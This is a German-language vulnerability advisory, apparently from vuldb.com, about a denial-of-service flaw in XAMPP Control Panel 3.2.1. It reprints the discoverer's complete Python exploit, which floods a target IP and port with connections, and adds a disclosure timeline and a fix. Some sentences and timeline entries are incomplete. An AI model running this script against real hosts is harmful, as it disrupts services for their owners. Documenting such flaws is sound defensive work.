XAMPP Control Panel 3.2.1 Memory Denial of Service

Es wurde eine problematische Schwachstelle in XAMPP Control Panel 3.2.1 gefunden. Dabei betrifft es eine unbekannte Funktion. Mittels Manipulieren mit einer unbekannten Eingabe kann eine Denial of Service-Schwachstelle (Memory) ausgenutzt werden. Die Auswirkungen sind bekannt für Vertraulichkeit, Integrität und Verfügbarkeit.

Die Schwachstelle wurde am 24.12.2016 durch John Page (hyp3rlinx) als XAMPP Control Panel Memory Corruption Denial Of Service in Form eines bestätigten Mailinglist Posts (Bugtraq) publiziert. Das Advisory kann von bereitgestellt. Vor einer Veröffentlichung handelte es sich 51 Tage um eine Zero-Day Schwachstelle. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:

import socket



print "XAMPP Control Panel DOS"

print "Discovery: John Page (hyp3rlinx)"

print "ApparitionSec"

print "hyp3rlinx.altervista.org\r\n"



IP = raw_input("[IP]> ")

PORT = raw_input("[PORT]> ")

 

arr=[]

c=0

while 1:

    try:

        arr.append(socket.create_connection((IP,PORT)))

        arr[c].send("DOOM")

        print "Die!"

        c+=1

    except socket.error:

        print "[+] Done! "

        raw_input()

        break

Ein Aktualisieren vermag dieses Problem zu lösen. Das Erscheinen einer Gegenmassnahme geschah vor und nicht erst nach der Veröffentlichung der Schwachstelle. XAMPP hat nachweislich vorgängig gehandelt.

Video

CVSSv2

CPE

• 
  
  Aktuelle Preisschätzung: $0-$5k (0-day) / $0-$5k (Heute)
  

  Gegenmassnahmen

  Empfehlung: Upgrade
  Status: Offizieller Fix
  Reaction Time: 51 Tage seit gemeldet
  0-Day Time: 51 Tage seit gefunden
  Exploit Delay Time: 0 Tage seit bekannt
  

  Timeline

  01.11.2016 Hersteller informiert
  04.11.2016 Hersteller bestätigt
  22.12.2016 Gegenmassnahme veröffentlicht
  24.12.2016
  26.12.2016
  

  Quellen

  Advisory: XAMPP Control Panel Memory Corruption Denial Of Service
  Person: John Page (hyp3rlinx)
  Status: Bestätigt
  Koordiniert: Ja
  

  Eintrag

  Erstellt: 26.12.2016
  Eintrag: 76% komplett
  
  Vollständiger Original-Artikel

  Den kompletten Beitrag mit allen Details direkt auf vuldb.com lesen.

  ↗ Original-Artikel auf vuldb.com lesen